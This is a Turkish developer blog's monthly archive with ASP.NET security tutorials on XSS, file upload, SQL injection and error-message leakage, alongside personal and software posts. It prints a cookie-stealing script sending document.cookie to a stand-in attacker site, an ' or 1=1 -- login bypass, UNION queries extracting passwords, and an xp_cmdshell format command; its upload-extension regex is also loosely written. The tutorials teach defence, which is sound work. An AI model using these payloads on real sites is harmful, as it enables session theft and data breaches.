May 2007 - Posts

Herşey Vatan İçin

23 Mayıs 2007 tarihinde vatani görevimi yerine getirmek üzere Bilecik 2nci Jandarma Er Eğitim Tugay Komutanlığı'na teslim olacağım.

 

 

Posted by Selçuk Yavuz | 43 comment(s)
Filed under:

Community Server 2007

Sonunda sitenin yazılımını yeni sürüme yükselttim.

Artık sitenin alt yapısında Community Server 2007 çalışıyor.

Tabii ki Upgrade ve SP1 i kurma sırasında malum Community Server Kurulum Hataları ile karşılaştım.

Birileri Telligent firmasına Turkish I Problem'in varlığından haberdar etsin Smile

Dikkatimi çeken ve hoşuma giden özelliklerinden birisi Thema'ların üzerinde rahatlıkla kişiselleştirme yapabiliyorsunuz.

Ve daha da hoşuma giden şey ise tek blog hesabı ayarının dahada basitleşmiş olması.

How can I configure Community Server for a Single User Blog? linke tıklayın

İndirdiğimiz zip dosyasından iki adet config dosyası çıkıyor.

  • communityserver_override.config
  • siteurls_override.config

Yani artık config dosyaları içerisinde kaybolmayacağız.

Bu dosyaları sitemizin ana dizinine kopyaladıktan sonra communityserver_override.config dosyası içinde ufak bir değişiklik yapmamız yeterli.

<Override xpath = "/CommunityServer/Weblog" mode = "new" name = "defaultApplicationKey" value = "BLOG_HESAP_ISMI_BURAYA" />

Bu kadar.

Posted by Selçuk Yavuz | 2 comment(s)
Filed under:

Cross Site Scripting (XSS)

Kullanıcıdan alınan bilgi olduğu gibi veritabanına kaydediliyorsa ve aynı şekilde veritabanındanda istemciye gönderiliyorsa kötü niyetli kodların istemci tarafından çalıştırılması muhtemeldir.

Örneğin bir ziyaretçi defteri doldururken mesaj kısmına

<script> location.href= ‘http://www.google.com’;</script>

Gibi bir bilgi girilirse ve herhangi bir kontrol olmadan bu siteyi ziyaret eden kullanıcılara bu bilgi gönderilirse, ziyaretçiler karşılarında sizin sitenizi değil, Google’ı göreceklerdir.

Ziyaretçilerin tarayıcılarında çalıştırılan bir javascript kodu ziyaretçiniz hakkındaki Session bilgilerinin de çalınmasına sebep olabilir.

<script>
document.location='http://www.kotuniyetlisite.com/yaz.aspx?a='+document.cookie
</script>

Şeklinde girilen bir script sitenizi ziyaret eden her kullanıcının Session bilgilerini saldırganın sitesine gönderir. Bundan sonrası saldırganın tercihne kalmış. Session bilgilerini kendine mail atabilir yada kendi veritabanına kaydebilir.

ASP.NET programcıları bu konuda diğer web geliştiricilerinden biraz daha şanslı. Çünkü, “<” ve “>” karakterleri içinde gelen bilgi “Potansiyel Tehlikeli Bilgi” olarak algılanır ve sistem hata verir.

Ancak günümüz de sık geliştirilen “İçerik Yönetim Sistem” leri “FCK Editor” gibi html kodu üreten WYSWYG* editörleri kullanmakta. 

Bu da ASP.NET programcısının “Fck Editor” kullandığı sayfasının başına ValidateRequest="false" gibi bir kodu eklemesine sebep veriyor.  Bu da XSS saldırıları için bir davet anlamına gelir.

Buraya kadar verdiğimiz örnekler HTML kodları arasına sızan tekniklerdi.

Kullanıcıdan alınan bilgi ile oluşturulabilecek JavaScript, VBScript, XML de bu tehlikelere maruz kalabilir.

Javascript için basit bir örnek verelim.

Default.aspx dosyamızda bulunan Javascript :

<script type="text/javascript" >
        alert('Merhaba’ + ‘<asp:Literal runat="server" id="ltAd" />');
</script> 

Default.aspx.cs dosyasından gönderilen bilgi :

ltAd.Text = "Selçuk";

Sayfa çalıştırıldığında “Merhaba Selçuk” şeklinde bir MessageBox çıkıyor.

“Selçuk” değerinin veritabanından geldiğini farzedelim. Eğer veritabanından gelen şöyle bir şey olursa :

ltAd.Text = " ' location.href='http://www.google.com'; alert('a";

Sayfamız derlendiğinde ortaya çıkan Javascript kodunu inceleyelim :

<script type="text/javascript" >
alert('Merhaba '); location.href='http://www.google.com'; alert('a');
</script>

Ziyaretçi “Merhaba” şeklinde bir MessageBox görür ve kendini yine Google da bulur.

Bu konuda örnekler çoğaltılabilir. Biz şimdi alacağımız önlemlere geçelim.

 

 


Bunun için “Microsoft Anti-Cross Site Scripting Library” kütüphanesini kullanacağız.

http://www.microsoft.com/downloads/details.aspx?FamilyId=EFB9C819-53FF-4F82-BFAF-E11625130C25&displaylang=en adresinden temin edebileceğiniz AntiXSSLibrary.dll i projemize dahil ediyoruz.

Microsoft.Application.Security.AntiXSS namespace’inden ulaşabileceğimiz 7 adet static metot ile XSS saldırıların önüne geçebiliriz.

Bu metotlar :

• HtmlEncode
• HtmlAttributeEncode
• JavaScriptEncode
• UrlEncode
• VisualBasicScriptEncode
• XmlEncode
• XmlAttributeEncode

Yukarıda verdiğimiz örneklerden Javascript için

ltAd.Text = "');  location.href='http://www.google.com'; alert('a");

yerine

using Microsoft.Security.Application.AntiXss;

...

ltAd.Text = 
JavaScriptEncode("'); location.href='http://www.google.com'; alert('a");

Şeklinde kullandığımızda bir ziyaretçilerimiz bir zarar görmeyecektir.

Sayfamızı derledikten sonra oluşan Javascript kodumuzu inceleyelim :

<script type="text/javascript" >
        alert('Merhaba '\x27\x29\x3b 
location.href\x3d\x27http\x3a\x2f\x2fwww.google.com\x27\x3b
alert\x28\x27a'
); </script>

Görüldüğü gibi “)“ işareti \x27 ye , “;” işareti \x29 a ve diğer zararlı karakterlerde Javascript’in karşılıklarına çevrilmiş. Bu kodlar çalıştırılamaz ama aynı karaktersel değerleini korurlar.

Örneğin

ltAd.Text = Microsoft.Security.Application.AntiXss.JavaScriptEncode("Selçuk");

Şeklinde bir kullanımda ekranda “Selçuk” yazar ancak kaynak kodunda “ç” karakteri  \u00e7 olarak kodlanmıştır.

Bunun sebebi ise AntiXSS kütüphanesinin belli başlı karakterleri encode eder.  Bunlar büyüktür “<” , küçüktür “>” , ampersand “&” ,  çift tırnak “"” ve ascii değeri 160-255 arası olan karakterlerdir.

“ç”  harfi ascii tablosunda bulunmuyor ancak unicode değer olan 351’in Hexadecimal eşiti 00e7 dir. Dolayısıyla Javascript’tin ç harfini \u00e7 olarak tanır.


* What You See What You Get


 

 

Posted by Selçuk Yavuz | 2 comment(s)
Filed under: ,

Malicious File Execution

Kötü Niyetli Dosya Çalıştırma

 

Web uygulamanıza FileUpload ile dosya yüklemesi yapmak durumunda iseniz gelen dosyanın türünü mutlaka denetlemek gerekir. Örneğin bir Forum uygulaması yaptınız ve kullanıcılar kendi resimlerini resimler klasörüne upload edebilmekteler. Saldırgan hazırlamış olduğu bir asp sayfasını resimler klasörüne upload eder ve www.siteniz.com/resimler/foo.asp şeklinde tam yolu yazarak dışardan göndermiş olduğu bir dosyayı sisteminizde çalıştırabilir.

 

Bu şekilde sisteminizin izin verdiği ölçüde yeni dosyalar oluşturabilir. Örneğin anadizinde ki default.aspx dosyasını silip yerine bir default.asp dosyası oluşturabilir. Böylece siteniz açıldığında “hacked by hacker ana” yazısı ile karşılaşabilirsiniz.

 

Böyle üzücü durumların yaşanmaması için sisteminize upload edilen dosyaların türünü denetlemek gerek.

 

Bunun için System.IO.Path ve System.Text.Regex namespacelerinden yararlanacağız.

 Önce upload edilen dosyasın uzantısı nı alacağız ve kabul ettiğimiz dosya türleri içerisinde olup olmadığını denetleyeceğiz. 
string uzanti = System.IO.Path.GetExtension(FileUpload1.PostedFile.FileName);

System.IO.Path.GetExtension metodu uzntıyı bize “.jpg” gibi noktalı bir şekilde verir.

 

Kullanıcı tarafından gönderilen dosya ismi büyük harfler ile yazılmış olabilir. Buda birazdan yapacağımız karşılaştırmada farklıymış gibi algılanmasına sebep olur. Bu yüzden uzantı harflerini küçültelim.

uzanti = uzanti.ToLower(); 

Kabul edeceğimiz dosya uzantıları için teker teker if kontrolü yazmamak için Regular Expression ifadelerinden yararlacağız.  

 
using System.Text.RegularExpressions;
.....
if(Regex.IsMatch(uzanti,".jpg|.jpeg|.gif|.png|.bmp") == false)
{
    // gönderilen dosya formatı uygun değil
}
else
{
    // gönderilen dosya formatı uygun.
}

 

Kaynak

http://www.owasp.org/index.php/Top_10_2007-A3

 

Posted by Selçuk Yavuz | 6 comment(s)
Filed under: , ,

Injection Flaws

Dinamik SQL sorgularının kullanıldığı sistemlerde oluşabilecek bir açıktır.

Bir kullanıcı adı parola sınaması yapılan SQL cümleciğinde kullanılabilir.

Select MemberID
From Member
Where Username = '" + txtUsername.Text + "' and Password = '" + txtPassword.Text + "'"

Şeklinde bir SQL cümlesinin kullanıldığı bir sistemde aşağıdaki ifadeleri girelim

txtUsername.Text : ' or 1=1 --
txtPassword.Text : 123

ifadesi aşağıdaki SQL cümlesinin çalıştırılmasını sağlar

Select MemberID 
From Member 
Where Username = '' or 1=1 -- ' and Password = '" + txtPassword.Text + "'"

-- ifadesi SQL Server için yorum satırı anlamına geldi için çalıştırılmaz.

Where ifadesini inceleyelim :

Username = '' false döner, 1 = 1 ise true. Or karşılaştırmasında ise False or True’nun sonucu true’dur. Dolayısıyla doğru kullanıcı adı parola girilmese dahi geriye tüm kayıtlar döner ve saldırgan ilk kaydın yetkisi ile içeriye giriş yapmış olur.

Saldırgan “SQL Injection” yöntemi ile veritabanı hakkında daha detaylı bilgi edinebilir. SQL Server üzerinde System Administrator hesabı açabilir, Tüm Tabloların listesini ve bu tabolardaki bilgilere ulaşabilir. Hatta web uygulaması sa yetkisine sahip bir kullanıcı ile çalıştırılıyorsa xp_cmdshell ‘format C:’ ile sisteme format bile atabilir.


Dinamik SQL sorgularındaki bu içeri sızmaları engellemenin yolu parametre kullanmaktır.

Bunu SqlCommand nesnesine SqlParameter tipinde parametre ekleyerek yapabiliriz. 

SqlConnection conn = new SqlConnection();
conn.ConnectionString = "[ ConnectionString ]";
SqlCommand cmd = new SqlCommand();
cmd.Connection = conn;
cmd.CommandText = " Select MemberID" 
 + " From Member"
 + " Where Username = @username and Password = @password";
cmd.Parameters.AddWithValue("@username",txtUsername.Text);
cmd.Parameters.AddWithValue ("@password",txtPassword.Text);
conn.Open();
int MembetID = Convert.ToInst32(cmd.ExecuteScalar());
conn.Close();

Bu şekilde kullandığımız dinamik SQL sorgularında Injection yönetimini bertaraf etmiş oluruz.

 

Kaynaklar

 

Posted by Selçuk Yavuz | with no comments

Information Leakage and Improper Error Handling

Bilgi Sızdırma ve Uygunsuz Hata Yönetimi

Kullanıcı Adı ve Parola kontrolü yapılan sistemlerde “Kullanıcı adınız yanlış” yada “Parolanız yanlış” gibi uyarı mesajlarının verilmesi bilgi sızdırma’ya örnektir. Saldırgan deneme yanılma yöntemi ile giriş yapmayı deneyebilir. “Parolanız yanlış” mesajı ile karşılaşınca da girdiği kullanıcı adının sistemde var olduğunu anlar ve deneme yanılma işlemlerinde içeriye girme şansı %50 artmış olur.

Bir örnek daha vererek “Bilgi Sızdırma” konusunu pekiştirelim.

Bir e-ticaret uygulamasının sahibi ürün stok bilgilerinin rekabet açısından gizli tutulmasını isteyebilir. Bu gibi durumlarda kullanıcının sipariş miktarı stoktaki ile karşılaştırılıp. “Sipariş etmek istediğiniz miktar stoklarımızda bulunmuyor” mesajı verirseniz kullanıcı yada rakip firmalar stok miktarlarınız hakkında bilgi edinmiş olur. Bu örnek web uygulamanız için bir tehlike arzetmez ama ticari bir bilginin dışarı sızmasına sebep olur.

Uygunsuz Hata Yönetimi’nde ise web uygulamanızda oluşan hatanın olduğu gibi ziyaretçiye gösterilmesidir.

Hata halinde verilen bilgiler geliştiriciye yöneliktir. Yazılım geliştiricisinin hatanın hangi sebepten kaynaklandığı hakkında bilgi verir. Bu yüzden hata anında meydana gelen bilginin ziyaretçiye gösterilmemesi gerekir.

Hata mesajlarından bir web uygulamasının nasıl bilgi sızdırabileceğini inceleyelim.

http://www.fabrikam.com/Vendor.aspx?CityID=1

Şeklinde çağrılan bir sayfada bayiler listesini çalıştıran SQL cümleciği şöyle oluşturulmış olsun : 

"Select Name,Phone From Vendor Where CityID = " & Request.QueryString("CityID")

SQL Intection yöntemi ile içeri SQL kodu sızdırıyoruz ve olacakları inceleyelim.

http://www.fabrikam.com/Vendor.aspx?CityID= 1 UNION ALL Select FooColumn From FooTable

Yukarıdaki linki yazdığımızda oluşacak SQL cümlesini inceleyelim. 

Select Name,Phone From Vendor Where CityID = 1 
UNION ALL 
Select FooColumn From FooTable

Pek mantılı bir sorgu olmadı. Dönen hata mesajını inceleyelim.

Invalid object name 'FooTable'

Demekki sistemde FooTable diye bir tablo yokmuş.

Bu işe yaramayan bir bilgi gibi gözükebilir ama unutmayın ki Edison ampülü bulmak için 1000 den fazla deney yapmıştı.

Saldırgan, deneme yanılma yöntemi ile Users isimli kullanıcı bilgilerinin bulunduğu tablo ismini buldu diyelim. Peki tablo ismini doğru tahmin ettiğini nasıl anlayacak ? Tabii ki hata mesajından.

URL

http://www.fabrikam.com/Vendor.aspx?CityID= 1 UNION ALL Select FooColumn From Users

SQL Cümlesi 

Select Name,Phone From Vendor Where CityID = 1 
UNION ALL 
Select FooColumn From User

Hata Mesajı

Invalid column name 'FooColumn'

Hata Mesajı değişti. Artık tablo isminin değli kolon isminin yanlış olduğunu söylüyor. Demekki tablo ismini doğru tahmin etmişiz.

UNION ifadesini biraz açalım. Farklı iki tablodan gelen değerleri tek sonuç setinde geri döndürmeye yarayan bir SQL ifadesidir. Yalnız her iki Select ifadesinin de eşit sayıda ve aynı tipte değerler döndürmesi gerekir.

Select ifadelerinde kullanılan kolon sayıları farklı ise şöyle bir hata mesajı alabiliriz.

All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.

Bu seferde QueryString ile verdiğiniz Select ifadesindeki kolon isimlerini artrırmak gerekir.

http://www.fabrikam.com/Vendor.aspx?CityID= 1 UNION ALL Select FooColumn,FooColumn2 From FooTable

Bundan sonra yine deneme yanılma yöntemi ile User tablosundaki kolon isimlerini tahmin etmeye kalıyor.

Fazla uzatmadan sonuca gidelim :

URL

http://www.fabrikam.com/Vendor.aspx?CityID= 1 UNION ALL Select Username,Password From Users

SQL cümlesi

Select Name,Phone From Vendor Where CityID = 1 
UNION ALL 
Select Username,Password From User

 Sonuç olarak Vendor.aspx te görüntülenen bayi listenin altında kullancıların username ve password bilgileride listeleniyo olacak.

Bu yüzdendir ki uygulamalarımızda oluşan hata mesajlarını ziyaretçilerimize göstermemeliyiz.

 


Aslında bu konuda ASP.NET geliştiricileri oldukça şanslı. Hata oluşabilecek kod kısımlarında try-catch mekanizmasını kullanabilirler, hata meydana geldiğinde ziyaretçiye sevimsiz hata ekranları yerine “Şu an sistemimizde bir hata oluştu” sayfasına yönlendirebilirler, uygulamanın neresinde olursa olsun oluşan hata loglayabilirler.

Hatanın meydana gelebileceği olası kod bloklarını try-catch blogu içine alınız. Bu veritabanında yapılan bir işlem yada mail gönderen bir kod bloğu olabilir. 

try
{
    // yapılacak işlemler
}
catch(Exception ex)
{
     // hata anında yapılacaklar
     // ex.Message ile hata ile ilgili bilgiye ulaşabilirsiniz.
     // hata mesajını bir dosyaya keydedebilir
     // yada mail atabilirsiniz. 
}

Windows kullanıcıların kabusu “Mavi Ekran”ın psikolojimiz üzerinde etkisini düşünün. Aynı şekilde ziyaretçilerinizde abuk sabuk teknik terimlerin bulunduğu kırmızı ve büyük puntolu hata sayflarından pek hoşlanmazlar. Bu siteniz için hem bir prestij kaybıdır hemde ziyaretçinizi kaybetme tehlikesinide beraberinde getirir.

Her ne kadar try-catch kod bloğunu kullansakta tahmin edemediğimiz bir yerde oluşabilecek bir hata oluştuğunda kullanıcıyı sevimli bir hata sayfasına yönlendirmek için web.config te ufak bir değişiklik yapmamız kafi.   


<configuration>
   <customErrors mode="RemoteOnly" defaultRedirect="GenericErrorPage.htm">
       <error statusCode="403" redirect="NoAccess.htm" />
       <error statusCode="404" redirect="FileNotFound.htm" />
    </customErrors>
</configuration>

 Bu şekilde hem ziyaretçiyi rahatsız etmemiş oluruz hemde hata anında meydana gelen ve saldırganlar için potansiyel işe yarayacak bilgileride saklamış oluruz.

Peki beklemediğimiz bir anda oluşan hatadan nasıl haberdar olacağız ?

Bunun için Global.aspx içinde ki Application_Error metonundan yararlanacağız.
ASP.NET uygulamamızda oluşan herhangi bir hata Global.aspx te bulunan Application_Error metodunu tetikler.  Bu metod içinde oluşan son hatayı yakalayabilir ve ihtiyaca göre bir veritabanına yada bir XML dosyasına kaydebilir beyahut mail olarak gönderebilir.  

protected void Application_Error(Object sender, EventArgs e)
{
    HttpContext ctx = HttpContext.Current;
    Exception ex = ctx.Server.GetLastError().InnerException;

    // ex.Message ile detaylara ulaşabilirsiniz.
}

 

Kaynaklar

 

 

Posted by Selçuk Yavuz | with no comments
Filed under: , ,

Microsoft Anti-Cross Site Scripting Library

Owasp Top 10'da ilk sıraya oturmuş bir hacking yöntemi Cross Site Scripting.

Üç Harfli Kısaltma sözlüğünde CSS i Cascading Style Sheets'e kaptırdığından olacak kısaca XSS olarak anılıyor.

ASP.NET programcıları için Microsoft tarafından yayınlanan bir kütüphane ile XSS saldırılarına karşı önlem alabilirsiniz.

Microsoft Anti-Cross Site Scripting Library V1.5

Bu kütüphane ile

  • Html
  • HtmlAttribute
  • JavaScript
  • Url
  • VisualBasicScript
  • Xml
  • XmlAttribute

elemanlarını encode edebilirsiniz.

Posted by Selçuk Yavuz | with no comments

Eziriz

.Net için hazırlanmış Obfuscator programlardan biri : Eziriz

Takdir ettiğimin özelliklerinden biri ise IL kodları silmesi. ( Artık ne yapıyorsa )

Reflector ile karışık kodları görmeme bile izin vermedi.

Fiyatıda emsallerine oranla gayet makul.

Posted by Selçuk Yavuz | with no comments
Filed under:
More Posts